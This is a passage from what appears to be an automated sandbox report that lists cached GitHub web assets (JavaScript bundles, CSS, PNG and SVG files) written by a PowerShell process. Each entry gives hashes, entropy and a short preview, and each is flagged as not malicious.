Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67","vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f"],{13937:(e,t,n)=>{let r;n.d(t,{Ax:()=>l,JW:()=>u,ZV:()=>a});let ErrorWithResponse=class ErrorWithResponse extends Error{constructor(e,t){super(e),this.response=t}};function i(){let e,t;return[new Promise(function(n,r){e=n,t=r}),e,t]}let o=[],s=[];function a(e){o.push(e)}function l(e){s.push(e)}function u(e,t){r\|\|(r=new Map,"undefined"!=typeof document&&document.addEventListener("submit",c));let n=r.get(e)\|\|[];r.set(e,[...n,t])}function c(e){if(!(e.target instanceof HTMLFormElement)\|\|e.defaultPrevented)return;let t=e.target,n=function(e){let t=[];for(let n of r.keys())if(e.matches(n)){let e=r.get(n)\|\|[];t.push(...e)}return t}(t);if(0===n.length)return;let a=function(e){let t={method:e.method\|\|"GET",url:e.action,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_github_webgl-globe_dist_js_main_js-7ace716f3606[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	587700
Entropy (8bit):	5.452188586416709
Encrypted:	false
SSDEEP:	12288:gxkdTbO8e9vfDdzW5oMABg+v+084xsP0fXwnTm+eZ:N9y8eJfDdzW5oMABg+v+08BP0fXwnxeZ
MD5:	B8C0CDA93CAB7BAA07173F880951AB09
SHA1:	1581FEC4F9327ED2AA7F2734FFED8A1134EB669B
SHA-256:	85867EAEDA907A5BB3825832379EF907686AAFA125AEFB93C074DC1146C53714
SHA-512:	7ACE716F36065AD495E2E98A0565CDCFEBBEAD0584AF0DCD8940F134E701A554703EBCE2359F60A79B9D92D946B9420E43462881FD7E4D479D8382CCDE90DC63
Malicious:	false
Preview:	(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_webgl-globe_dist_js_main_js"],{83138:()=>{/! For license information please see main.js.LICENSE.txt /(()=>{"use strict";var e={263:(e,t,i)=>{var n=i(175),r=i(873),a=i(596),s=i(148),o=i(214);(e.exports=function(e,t){var i,r,l,h,c;return arguments.length<2\|\|"string"!=typeof e?(h=t,t=e,e=null):h=arguments[2],n(e)?(i=o.call(e,"c"),r=o.call(e,"e"),l=o.call(e,"w")):(i=l=!0,r=!1),c={value:t,configurable:i,enumerable:r,writable:l},h?a(s(h),c):c}).gs=function(e,t,i){var l,h,c,u;return"string"!=typeof e?(c=i,i=t,t=e,e=null):c=arguments[3],n(t)?r(t)?n(i)?r(i)\|\|(c=i,i=void 0):i=void 0:(c=t,t=i=void 0):t=void 0,n(e)?(l=o.call(e,"c"),h=o.call(e,"e")):(l=!0,h=!1),u={get:t,set:i,configurable:l,enumerable:h},c?a(s(c),u):u}},11:e=>{e.exports=function(){}},596:(e,t,i)=>{e.exports=i(339)()?Object.assign:i(595)},339:e=>{e.exports=function(){var e,t=Object.assign;return"function"==typeof t&&(t(e={foo:"raz"},{bar:"dwa

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_primer_react_lib-esm_Button_Button_js-f36ad879d477[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (18145)
Category:	dropped
Size (bytes):	27515
Entropy (8bit):	5.333892356886217
Encrypted:	false
SSDEEP:	768:3LbUgHMxjxCwix8XahLxfwi7X96/rTccLdPq:3Xf6/rgcLdPq
MD5:	5816C9674BF39DC86B51744393BD575E
SHA1:	3CC4A78A8E74D5D91427DE149D626F9FCC8D305F
SHA-256:	6C070BF861C49E60E8ED381A33BDB17784D26BC93318C51F82849AD889DD077E
SHA-512:	F36AD879D477BD89096B9EB11036EC73935E71FEB946B62A415F91C70722362E37B2B5713DABFA3388FECFF9D026C1C24FBB6FCC80D1ACE2426397D333625706
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_Button_Button_js"],{55847:(e,t,n)=>{n.d(t,{D:()=>d,Q:()=>i});var o=n(96540),a=n(72285),r=n(44683);function l(){return(l=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)({}).hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}).apply(null,arguments)}let i=(0,o.forwardRef)(({children:e,sx:t=r.E,...n},i)=>{let{block:s,size:c="medium",leadingVisual:u,trailingVisual:b,trailingAction:p}=n,h=t,m={};if(null!==t&&Object.keys(t).length>0){h=d({block:s,size:c,leadingVisual:u,trailingVisual:b,trailingAction:p},t);let{color:e}=t;e&&(m["--button-color"]=e)}return o.createElement(a.u,l({ref:i,as:"button",sx:h,style:m,type:"button"},n),e)});function d(e,t){let n=`[data-size="${e.size}"]`,o=e.block?'[data-block="block"]':"",a=e.leadingVisual\|\|e.trailingVisual\|\|e.trailingAction?"":"[data-no-visuals]",r=`&${n}${o}${a}`,l={};re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\wp-runtime-f35b332dbe90[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (55515)
Category:	dropped
Size (bytes):	55567
Entropy (8bit):	5.052518168689268
Encrypted:	false
SSDEEP:	1536:ATQtg+PRB4Og0carQxJodSDOIBkQNsnc5:CQ54Og0cFJodSD/snM
MD5:	76E1212A88A7885FFAD577906903D5A7
SHA1:	0E4E9F6B5EF5ECD54E26313AB6B27C4910645C8F
SHA-256:	7E6458D6EC4D0F7C3524AC176D4641655AE2F00BC3A61B5D34AE7792B29CD837
SHA-512:	F35B332DBE90FE70ACAFA1473EC7377FEA029265DA32351239DFD05AFFA8B5AED02DD641C8B53E99D091BE21D728E716CBC493EEE940C80132EC9092939D83F8
Malicious:	false
Preview:	(()=>{"use strict";var e={},_={};function s(o){var a=_[o];if(void 0!==a)return a.exports;var d=_[o]={id:o,loaded:!1,exports:{}};return e[o].call(d.exports,d,d.exports,s),d.loaded=!0,d.exports}s.m=e,s.amdO={},(()=>{var e=[];s.O=(_,o,a,d)=>{if(o){d=d\|\|0;for(var t=e.length;t>0&&e[t-1][2]>d;t--)e[t]=e[t-1];e[t]=[o,a,d];return}for(var n=1/0,t=0;t<e.length;t++){for(var[o,a,d]=e[t],c=!0,r=0;r<o.length;r++)n>=d&&Object.keys(s.O).every(e=>s.O[e](o[r]))?o.splice(r--,1):(c=!1,d<n&&(n=d));if(c){e.splice(t--,1);var i=a();void 0!==i&&(_=i)}}return _}})(),s.n=e=>{var _=e&&e.__esModule?()=>e.default:()=>e;return s.d(_,{a:_}),_},(()=>{var e,_=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__;s.t=function(o,a){if(1&a&&(o=this(o)),8&a\|\|"object"==typeof o&&o&&(4&a&&o.__esModule\|\|16&a&&"function"==typeof o.then))return o;var d=Object.create(null);s.r(d);var t={};e=e\|\|[null,_({}),_([]),_(_)];for(var n=2&a&&o;"object"==typeof n&&!~e.indexOf(n);n=_(n))Object.getOwnPropertyNames(n).forEach(e=>t[

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-ab87c1d6c5c8[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (7914)
Category:	dropped
Size (bytes):	13428
Entropy (8bit):	5.230329085761548
Encrypted:	false
SSDEEP:	192:09xRi19U67CK/CCePQDwMQXtMJ7wx2PXnq6z9V1sTNRmSdXgMpVE/C9w:09xRi16Y/7ePGRwOXq6zRcNRmND/C9w
MD5:	B21890D8481D25B90A00E3ED03B50ED2
SHA1:	076A919247341BC75956932151E5503DCED4506F
SHA-256:	C9B49F15328CBEB36C21DBD6D8A92D7A4B49E0DEAB7F160DB26D9873610E7779
SHA-512:	AB87C1D6C5C8FF03E5E5BD8862D2409142547B55B646F13D4359A3BCAFD07DA55B216511DBD526C93956B3F9E7370F9DA9BEB6D013C1A6F70AA2F44BB363AC17
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde"],{22474:(e,t,n)=>{n.d(t,{VH:()=>A,df:()=>u,mT:()=>d});var s,l=n(79024),r=n(97797),o=n(72705),i=n(21403),a=n(13937),c=n(78350);function u(e){if(e.querySelector(".js-task-list-field")){for(let t of e.querySelectorAll("task-lists"))if(t instanceof o.A)for(let e of(t.disabled=!1,t.querySelectorAll("button")))e.disabled=!1}}function d(e){for(let t of e.querySelectorAll("task-lists"))if(t instanceof o.A)for(let e of(t.disabled=!0,t.querySelectorAll("button")))e.disabled=!0}function f(e,t,n){let s=e.querySelector(".js-comment-update");d(e),T(e);let l=s.elements.namedItem("task_list_track");l instanceof Element&&l.remove();let r=s.elements.namedItem("task_list_operation");r instanceof Element&&r.remove();let o=document.createElement("input");o.setAttribute("type","hidden"),o.setAttribute("name","task_list_track"),o.setA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\commandpost-18d45fffda67[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35498
Entropy (8bit):	7.990003307882159
Encrypted:	true
SSDEEP:	768:/QZHpc6D55Tb6fhF0bz5SW559USPajPl/1CboPAjllYGy:/QZHpcvFGFSaSjPabo4jTm
MD5:	D43E47750A80129F7665E550FFAE1438
SHA1:	272866A40A8C1E4BFB90D56A9266AE775C7A659C
SHA-256:	72AAC885F0ED69687AF53C76BDAB602946F7E644C5FBC45B51F3C861B70D58F0
SHA-512:	5A1A11E106DB7F0F72C6E8291D0FD452F7A27927AE5085E64B8C45165525717D1E73A0DC3B2B8713B2ED4FE990274FAB7286872FFEAD3EB5BFCB8276FC919FA9
Malicious:	false
Preview:	.PNG........IHDR.............R.l....qIDATx......@..0....C.s.[.e..].... ...... ...... ...... .../R.Q.........T.dG...l...8Tf.<...233s..ijO.....XVP.[..zW..........>.I.ET.$;....l.\|.$l.I..Fq...?gF.._..J..H(f...`.W.cH.#Y.x. ...!......l...iU.......F<y.d.....W...........y.....={.lw.....[..(..`..N.YI..).T.F-.#S..Q..b.KN_..Iz..\.G@.M..-.P9.II.....c....7s..(..'./.\|....W./]\|...K.........._.~..%..1..C..c.......KKK.Y>}......a....s....!.e"6.(...$.MwU.0.otm.}.(.q....S.d.U\|...._ rJ..t._.[.......1.m..k....m.~...k.Nw.....z..\|...YY.t:...U...AZ..@..a..8`._....R".A..f..hxB........8..O........C........?..cA..}..s....s..!D.y.0.F.^.-v9...p..o........2..-5!@.B.X....R...6.1kP..........z.Y8..:$=P..{>./[...._{.;.9.A..~hn..r..C..j.Mo....(.Q.%%.v..e..g+...R".'....@......d.mE......=/(....j.h..[.P......4..@ .FQ...H...D.......l.%K..z..._...O......f$.n.Q...I..u.. W)..y..8...%0.......X0%7J..gP....X@$.....<D .X.(G:o`.O..<.. ...zi@h<@2)AB...\:t....i....r.......I.F.X.l.p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\dark-9c5b7a476542[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	50114
Entropy (8bit):	4.874676303835816
Encrypted:	false
SSDEEP:	768:P2fSVEkMZIBQRAD1MmH0jdp36ie0L98Dgk5w750NcXKh6owMloxTtloJm/rh/34U:lEkMZSa8ck56f
MD5:	C21F8FD1AA4306567381FC98C4658451
SHA1:	8B1A242BA7D5C59596D31580B5B8F4A7BED32726
SHA-256:	396D793CF41EDBB2964B3993C58BE3224430678DB6DE696A3940D01EB3AB43B1
SHA-512:	9C5B7A4765424368E00D62B4AE89AFF8C5B86FC4E93B09D49AC4D1B18F65CE9DFD3FAE52E9AC25BB0D0A024EA9A08E638A36CDC278111CD7E62C5BE38A1FD23C
Malicious:	false
Preview:	[data-color-mode="dark"][data-dark-theme="dark"],.[data-color-mode="dark"][data-dark-theme="dark"] ::backdrop,.[data-color-mode="auto"][data-light-theme="dark"],.[data-color-mode="auto"][data-light-theme="dark"] ::backdrop {. --topicTag-borderColor: #00000000;. --highlight-neutral-bgColor: #d2992266;. --page-header-bgColor: #0d1117;. --diffBlob-addition-fgColor-text: #f0f6fc;. --diffBlob-addition-fgColor-num: #f0f6fc;. --diffBlob-addition-bgColor-num: #3fb9504d;. --diffBlob-addition-bgColor-line: #2ea04326;. --diffBlob-addition-bgColor-word: #2ea04366;. --diffBlob-deletion-fgColor-text: #f0f6fc;. --diffBlob-deletion-fgColor-num: #f0f6fc;. --diffBlob-deletion-bgColor-num: #f851494d;. --diffBlob-deletion-bgColor-line: #f8514926;. --diffBlob-deletion-bgColor-word: #f8514966;. --diffBlob-hunk-bgColor-num: #388bfd66;. --diffBlob-expander-iconColor: #9198a1;. --codeMirror-fgColor: #f0f6fc;. --codeMirror-bgColor: #0d1117;. --codeMirror-gutters-bgColor: #0d1117;. --codeMirro

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\directus-4da9e46da0ac[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 192 x 192, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	8268
Entropy (8bit):	7.9580918352765835
Encrypted:	false
SSDEEP:	192:OIHKzRQFefiWU/GtYlVBTeLEtToiNFSA+i6IfheZLB3Va:XYue6YtYxfTowt64A3Va
MD5:	6766FE50E80F95FBD5D4EF1A327E2112
SHA1:	5FE23220727FB9486AE1D0D8262A1FA037223672
SHA-256:	DFC9A5CC79A01F412458A6442903A13B45ED5818504EF1D17C4AC654E3C7B3C3
SHA-512:	69831E02F2E6B2152E4B12D5D687B93F6276696E0D4844BA01F98CE4A637F2F32AEE37312C44C7867D3DD7AD32EB9BCF8C78B5011983E98263D7064D38CE8517
Malicious:	false
Preview:	.PNG........IHDR...............P.. .IDATx...U.[1..ao...0../..h.pL.....Ug.i..-]....R...55..AIw..va.i....YU.+._.\G. ..b.5.-.1.....3..c...yMM\;.@...u...!.@...U5G9..... ....1.B....@,1.\.....`.NI..`.[...%.1..<Q.Gk...a.Z.(..S.1...5x.@...t...A. G4#n...z..._%......j.h...yN.p. ...W....h.a/..s.55dT.H......@.:............=...Yt........fn.!.{.<...N..8..\|...$./....o&1_..'...g.X46~...krxtH+....O._%N......W8a......).7.lN........4....h..Z.M.....&#D#.d..I.;4.N.4~..x..D....mj......U..)o.@.L.{.#......-j..<.m..\|[Z.\|b?.(1_s.O....c..zf...;?.E(.\|.....3(.......i?.......v....b....[..4.9..T9...o..=F ...M+.....Sn.W..@.p.S+.....O#}.8..Oqki...[.w......qw.Yv....7.-..Xr.\|..u..ygf..\|.e...M\|.YJ..,t..n\..V.3];g....G.r..i....e.o.J.z2..H..:.=K.{h.q.... .'.....o[.{..q.w...0....23D...hItz.........l.........3...\.....X{d.;2........F._.....]e.........*....u.s..a.{..c7ylF. ./)....H....b.q?;..p.\|6.c....G.G'.K......-FA6....i-.D..8@x\_R...t...9..8?..}~!t....)..`dL....h....h.u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\discussions-adf1d1b8b95c[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (5026)
Category:	dropped
Size (bytes):	5122
Entropy (8bit):	4.846497218311118
Encrypted:	false
SSDEEP:	48:cfGWKVR7Jo14v5gEHrc7+ikYrarfmmbPNxQlgaO+tPFdSNpHu:cQR7VhJLikzXAFdcu
MD5:	9BC026567518A8B952D2DC542EE21ABA
SHA1:	0DFE58A80F3862DA64D3F4A43A606A5FD3F71002
SHA-256:	4026B5F57BD3090089E755448ACDFE6CBDF6A4FFEED85B0C95297F75189E14B1
SHA-512:	ADF1D1B8B95C2F6662E9AED25388A83342B73A9D7CA6F765B71913BFCE0B2252C691784274A192F95B33FF3E04FAF55B2892010E48CF7CAA11D463CB51AB1650
Malicious:	false
Preview:	.discussion-spotlight-container{height:150px;overflow:hidden;cursor:pointer}.discussion-spotlight-container .discussion-title{display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2;overflow:hidden}.discussion-spotlight-container .spotlight-avatar{border-color:var(--bgColor-default, var(--color-canvas-default)) !important;border-width:3px !important}.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlight-color-container{width:210px;height:80px}.discussion-spotlight-color-container .discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-checkmark{position:absolute;display:flex;width:23px;height:23px;margin-top:6px;margin-left:6px;background:rgba(7,7,7,.63)}.discussion-spotlight-color-container input:not(:checked)~.discussion-spotlight-checkmark{display:none}.discussion-spotlight-color-container input:checked+.discussion-spotlight-checkmark::after{display:flex}.discussion-spotlight-color-container input:checked{box-sha

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\footer-star-36e5b5724973[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 117 x 117, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	7.850862959698718
Encrypted:	false
SSDEEP:	48:aKuDaPpDaRXe6L7sXKdIUBZuoP4pleO2jDrcX1i8PVTrUEyjZbKBzhyPono:juGpDr6LjdVHutleO2jDrcXzVUxYBz7o
MD5:	7982C8A208846CD7856B0B7C93886B20
SHA1:	7ED6ED68F7566C99A9913DEA6697EDD659E420DF
SHA-256:	B219E0F5EA0602C0910312A292A91FB9D4AE7A9E80E9007C3598E4B5B7818B64
SHA-512:	F919BFCC958A6434CCFB849AA901AC16D248425217C7D870C74D8E7ECA4C98569800B704D964D3E2B27279216453B1F2DC1FEA782382003496DDFEBBC6A5E828
Malicious:	false
Preview:	.PNG........IHDR...u...u.....G.^.....PLTE.......=..LY.F..N..VM.e..H..Iz(.1&.4.H.J.I..Pc.Qb.Nb.Pl.Pm.Yl.I.K.H..WC.J..VI.H.....I..U.W..W<.Pd.Q\.s..R.....Oj....Pq.Iz.?..J..Si.L.b0..Q`=.b....J.....y..I..X7....O.G#{....Q..UF.TJ.SN.K.m6.:.@.L..>....).K.To...K..M..P..J.....J.'.C(.!....K.l0..H..H....G..O.......u(3.K..N..F.V!;!...E.H.N'..Mz......M).J%.....Hu.............Kk.N_..........Mb....Le....O[.PW.......Lw.VB.Ko....RT....o..QP.SK.W=....x..Lg.X7.t..Hz.UG.......\|..p..Sm.Q}.Jr.Tp.p..G.....W..`.] +....}..h..]\.YQ.D#.7.H..s..[..f..ly.fom+>G.#6...w..I..k..H..Zy.We.L].?Q....H.H.f2..a..`u.Pj.cf:.c\|3`.DW.OV.5G.1?x'4.."#...H.x:..M..K..D..]vB!s.Xp.Pj.;].J\.TLl,J..-.....y..G..H\.?[.=O:.N.4D%.'.C.M..^..=..k.m3..o..N..>~.Q{.SvQ&q.MgW&\/.UI.7/.(w;.E....Z..c.Z,..;..i.K%.n2..d.i/l.9H.D..v..q..W.Z+\|P N9'.}...htRNS. ..!....2E .....o_?........s....u`MB!.........p ..........l`]...........x`V@?............``J.p0.k.'....IDATh...w<.a...s...JC..hj...{s....H$JE..".%.h.D.(+[R.{..>....?...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\git-branch-collaboration-2-e46b1fb1d363[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3388
Entropy (8bit):	5.2392582933450935
Encrypted:	false
SSDEEP:	48:ZEuQMc9LghAcHOzDYb5/zYbW/ZYbG/HYb5/GHm8BHX83qgVZh8VZhg83qh:Z7QMTAcZF0uu24FGNBOqghshNqh
MD5:	4257AA6AE1CD0B20DD044E0DF2146441
SHA1:	664B9DF3FBB9F6FC3678FE243B8242482C4D489D
SHA-256:	E6283E10643BBA038D968C01460ED693064B94E36BEB9E99D5EA1D39F8C13264
SHA-512:	E46B1FB1D363AD33342894B8F4C31F32D691F4333F40EBA45878681A122192776CFB88F932A62DF2DE905D760F09E88915BF64367DA53FD5952470902C602810
Malicious:	false
Preview:	<svg width="87" height="486" viewBox="0 0 87 486" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M2.00026 0.140625L2.00014 33.6594C2.00005 61.1454 12.3542 87.6227 31.0001 107.817V107.817C49.6458 128.011 60 154.489 60 181.974V301.805C60 329.591 49.6629 356.384 31.0001 376.969V376.969C12.3373 397.555 2.00022 424.347 2.00016 452.133L2.00009 485.141" stroke="url(#paint0_linear_178_40601)" style="" stroke-width="3"/>.<g filter="url(#filter0_dddd_178_40601)">.<circle cx="6.43806" cy="6.43806" r="6.43806" transform="matrix(1 0 0 -1 54 260.876)" fill="black" style="fill:black;fill:black;fill-opacity:1;"/>.<circle cx="6.43806" cy="6.43806" r="4.93806" transform="matrix(1 0 0 -1 54 260.876)" stroke="white" style="stroke:white;stroke:white;stroke-opacity:1;" stroke-width="3"/>.</g>.<defs>.<filter id="filter0_dddd_178_40601" x="34" y="228" width="52.876" height="52.876" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">.<feFlood flood-opacity="0" result="BackgroundImageFix"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\git-branch-security-2-f6a799957581[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3404
Entropy (8bit):	5.239890562143888
Encrypted:	false
SSDEEP:	48:ZEuQMc9LjlADlUbBnHOzDYb5qXYbWq5YbGq3Yb5q+zBBHXu3qtbPbNu3qh:Z7QM2WDSbVZMolOdIM+dBQqEqh
MD5:	0DC80597D7ED98A0CB66ACC707089DDF
SHA1:	3A9AF56F2B6731BF9E97F20FAAEE4A22DE02CBCE
SHA-256:	7C6381634FDA74CB11046DBAF74168DFEDF830FE14ADB0A37F422744B65D33DC
SHA-512:	F6A799957581C936D7A543D48F509A430B7389FC3DAAE6DB630A533780FFE33360F757085698795F1A8654A9587ED6566CDE520B8347128EA77359304C928935
Malicious:	false
Preview:	<svg width="87" height="486" viewBox="0 0 87 486" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M2.00026 0.140625L2.00014 33.6594C2.00005 61.1454 12.3542 87.6227 31.0001 107.817V107.817C49.6458 128.011 60 154.489 60 181.974V301.805C60 329.591 49.6629 356.384 31.0001 376.969V376.969C12.3373 397.555 2.00022 424.347 2.00016 452.133L2.00009 485.141" stroke="url(#paint0_linear_179_40604)" style="" stroke-width="3"/>.<g filter="url(#filter0_dddd_179_40604)">.<circle cx="6.43806" cy="6.43806" r="6.43806" transform="matrix(1 0 0 -1 53.3145 261.211)" fill="black" style="fill:black;fill:black;fill-opacity:1;"/>.<circle cx="6.43806" cy="6.43806" r="4.93806" transform="matrix(1 0 0 -1 53.3145 261.211)" stroke="white" style="stroke:white;stroke:white;stroke-opacity:1;" stroke-width="3"/>.</g>.<defs>.<filter id="filter0_dddd_179_40604" x="33.3145" y="228.335" width="52.876" height="52.876" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">.<feFlood flood-opacity="0" result="

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\home-fa7c9cc8a53c[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1520)
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	5.1968453149983755
Encrypted:	false
SSDEEP:	24:X5YJlSJd5nnTE6SjPiz3ESfX8sNbBopUdpzhfolsbwayp6r4I1:X5gSJbnrSQF5NbFhfksbj1
MD5:	55350A23203A4916CFC2B0167434080E
SHA1:	5A444D17AF7D7C5CEAD9EE7273F814A3B324B082
SHA-256:	FDD92A12EFB25E9714BC97C859016D144B915DAAAC2B1AFF4678CB433DDEDC9A
SHA-512:	FA7C9CC8A53CB60753B3452B09C0AFEB8C5D5E6D952E51FED0478C64BFEDD9371C1CDEB500D0D7D4749315A7FC6D3B5D09DDC50F282737A67CAE1CBBD2C2EE22
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["home"],{60565:(e,t,o)=>{var r=o(21403);let l=new IntersectionObserver(e=>{for(let t of e)if(t.isIntersecting){let e=document.querySelector(".js-globe-root canvas");e?.dispatchEvent(new CustomEvent("globeTriggerResize")),l.disconnect()}},{rootMargin:"0% 0% 0% 0%",threshold:0});function s(e){let t=e.closest(".js-globe-root");t?.querySelector("canvas")?.dispatchEvent(new CustomEvent("globeTriggerFreeze"));let o=t?.querySelectorAll("video");if(o)for(let e of o)e.paused\|\|e.pause()}(0,r.lB)(".js-webgl-globe-trigger",e=>{l.observe(e)}),document.addEventListener("globeLoaded",e=>{let t=e.detail.globeContainer;if(!t)return;window.matchMedia("(prefers-reduced-motion: reduce)").matches&&s(t);let o=t.closest(".js-globe-root")?.querySelector(".js-globe-pause-toggle");if(!o)return;let r=t.querySelector("canvas"),l=t.querySelectorAll("video"),n=!1;o.addEventListener("click",()=>{let e=(n=!n)?"globeTriggerFreeze":"globeTriggerU

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\homebrew-c7e38eeacb52[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6942
Entropy (8bit):	7.909748374243592
Encrypted:	false
SSDEEP:	192:ITH12v4/B28zhfWY69PaIDPL3Db9PGILeL+lNOFV3S6:6Ev4ZroP9PaIv/hGILeazs
MD5:	F27D3219D84BFF63FF21A5A5E3E0ED0A
SHA1:	B336F5B842A2FA9C375F071388E1832F6A4DDA5C
SHA-256:	B03BCA38C39774A67ABFD8C882A52C875CEFD23582F30FD5C50BFE7DFBD5A497
SHA-512:	623F8305EDAFC39DAF8F016C309E9C27F0402226A5089624EABD9353E300096BA097004BA2FC1BBB6FC8DB367529CA0362FF2762D18A5D65B7E5E499A90985F7
Malicious:	false
Preview:	.PNG........IHDR.............R.l.....IDATx...xSW....+..-Na.....L.m.3...V.8c..q..n...pg>......\|._r..I.....<...$M...{.=....A.N..p.l.}. x..!.y.....G#.>.&$3&./a...BQH)x.~.=.Ah.........S.......@A..:CbCBC...t..a...c...\.n..P.<.~..b.s..=x.....(k.j..p:....A......3..f...4lx.....A..V.n. ......5...9.\|Ky..QC...i!..B.P.....G...[...M..x..j...J.V..-P.....B>H.1?....v....Bp..Bk...@2......T.A....O1....{.J.j.......A2.$....#$.\..V.@.KT.\9....-......../..q....ZCb}\|})n.z.C.}..*P..zQ\.&G.$......^..j.......Bfx...W/....?.\|........z._.l..=...S.05... 8..!..3g.u.6...........~...X.\[.hq.....M:........>..6n.......2....Pc.$...f......Ph.\|j._..@.!......l.A.6m.F.&d.B.\|......s.J..cf......6$.......cV.`...t......... .w_.k....6..0;t:...O@..5z.Mg..U..7..awH.S.}.....7Q...u... ......r..E...:...LU...!..K....O.....X.....P.\g.(.V........1...S......M.4Y..\(....\.I.A..V...W.a6..7oN<........ ...p7$..].X...O?M..k....q.......r..B..0pP....pQ....?!..L..7..P.\.j..$.>}.Y.....M.F.....#...[...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\illu-actions-2-c5178134f381[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1306 x 992, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	88773
Entropy (8bit):	7.979243303310949
Encrypted:	false
SSDEEP:	1536:bnc9NSbgQdAu7hf9XcqRay7muCLwbmaasqnKYEa9aX82TcfzY0:bnT7dAu7BbRavLwmaasqnKYofI
MD5:	A715C827D1397479B63D326A8874FD99
SHA1:	551C350947615027A91603F07DCA0209E3607285
SHA-256:	C55C109444E26EADD1530162067DE388B08DD7836C9DF4C52CDEC69D094D4C37
SHA-512:	9AE9FC40E2BFBB2BC50F148CCEE5E63079F82C7D7AB9BA1A01B8F4587FC5C357D3841FEC0243D39D723585E28987058FB26FE4E601CC10FF011987433A2993BC
Malicious:	false
